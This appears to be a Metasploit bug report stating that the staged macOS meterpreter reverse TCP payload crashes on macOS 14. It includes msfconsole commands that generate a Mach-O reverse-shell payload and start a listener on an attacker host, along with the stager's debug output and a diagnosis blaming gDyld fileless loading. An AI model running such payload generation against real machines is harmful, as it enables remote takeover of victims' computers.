Currently, the staged TCP meterpreter for osx does not work in some of the latest versions of MacOS.
MacOS 14
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> use payload/osx/x64/meterpreter/reverse_tcp
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lhost tun0
lhost => 10.38.36.18
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> generate -f macho -o /tmp/msf1
[*] Writing 17204 bytes to /tmp/msf1...
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> to_handler
`[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 10.38.36.18:4242
msf payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (857592 bytes) to 10.11.58.111
[-] Meterpreter session 1 is not valid and will be closed
[*] 10.11.58.111 - Meterpreter session 1 closed.
ms@mss-iMac-Pro ~ % ./msf
main!
hello world!
good symbol!
gDyld found, using dual hijack technique.
apis: 4436181088
config: 4495036432
base: 4493991936
sdyld: 4494594048
Errno: 2
Buffer: 4437401600
Analyzing Segments.
vmSpace: 925696
Rosetta.
Translated: true
VMAllocate Ret: 0
LoadAddress: 4438282240
Region Ptrs: 140701912622696
usedCount: 6
allocCount: 10
Region vmOffset: 576460748008456192
Region perms: 0
Region isZeroFill: 0
Region readOnlyData: 0
Region fileOffset: 0
Region fileSize: 0
----
Region vmOffset: 0
Region perms: 5
Region isZeroFill: 0
Region readOnlyData: 0
Region fileOffset: 0
Region fileSize: 675840
----
Errno: 2
Addr: 4438282240
Size: 675840
Perms: 5
Flags: 4114
FD: 4294967295
Offset: 0
Errno: 2
Buffer: 4437401600
BufferO: 4437401600
Errno: 2
SegAddress: 4438282240
Errno: 2
Region vmOffset: 675840
Region perms: 3
Region isZeroFill: 0
Region readOnlyData: 1
Region fileOffset: 675840
Region fileSize: 16384
----
Errno: 2
Addr: 4438958080
Size: 16384
Perms: 3
Flags: 4114
FD: 4294967295
Offset: 675840
Errno: 2
Buffer: 4437401600
BufferO: 4438077440
Errno: 2
SegAddress: 4438958080
Errno: 2
Region vmOffset: 692224
Region perms: 3
Region isZeroFill: 0
Region readOnlyData: 0
Region fileOffset: 692224
Region fileSize: 20480
----
Errno: 2
Addr: 4438974464
Size: 20480
Perms: 3
Flags: 4114
FD: 4294967295
Offset: 692224
Errno: 2
Buffer: 4437401600
BufferO: 4438093824
Errno: 2
SegAddress: 4438974464
Errno: 2
Region vmOffset: 712704
Region perms: 3
Region isZeroFill: 1
Region readOnlyData: 0
Region fileOffset: 0
Region fileSize: 45056
----
Region vmOffset: 757760
Region perms: 1
Region isZeroFill: 0
Region readOnlyData: 0
Region fileOffset: 712704
Region fileSize: 164240
----
Errno: 2
Addr: 4439040000
Size: 164240
Perms: 1
Flags: 4114
FD: 4294967295
Offset: 712704
Errno: 2
Buffer: 4437401600
BufferO: 4438114304
Errno: 2
SegAddress: 4439040000
Errno: 2
Loaded Size: 42
Loaded first: 4436191168
Loaded Capacity: 64
Apis: 4436181088
LoadAddress: 4438282240
JITLMP: 4494695476
TopLoader: 4436191696
Toploader (*(int*)this): 1815378276
Loaded Size: 43
Loaded Capacity: 64
LoadAddress: 4438282240
lateLeaveMapped: 0
hidden: 0
Magic: 1815378276
IsPrebuilt: 0
lateLeaveMapped: 1
mainExecutableLoader: 4436184048
mainExecutableLoader: 4436184048
LoadedElements: 4436191168
Toploader (*(int*)this): 1815378276
buffer: 0
startLoaderCount: 42
newLoadersCount: 246
zsh: segmentation fault ./msf
The bug lies in the stager, specifically, in fileless loading of stager using gDyld. Most likely, this is broken due to changed offsets between versions. There's PR ready that disables fileless loading #21621, while we can find more reliable fix. The plan would be to keep staged meterpreter working with this feature disabled and then investigate further this issue and fix it in separate PR.
Currently, the staged TCP meterpreter for osx does not work in some of the latest versions of MacOS.
MacOS 14
The bug lies in the stager, specifically, in fileless loading of stager using
gDyld. Most likely, this is broken due to changed offsets between versions. There's PR ready that disables fileless loading #21621, while we can find more reliable fix. The plan would be to keep staged meterpreter working with this feature disabled and then investigate further this issue and fix it in separate PR.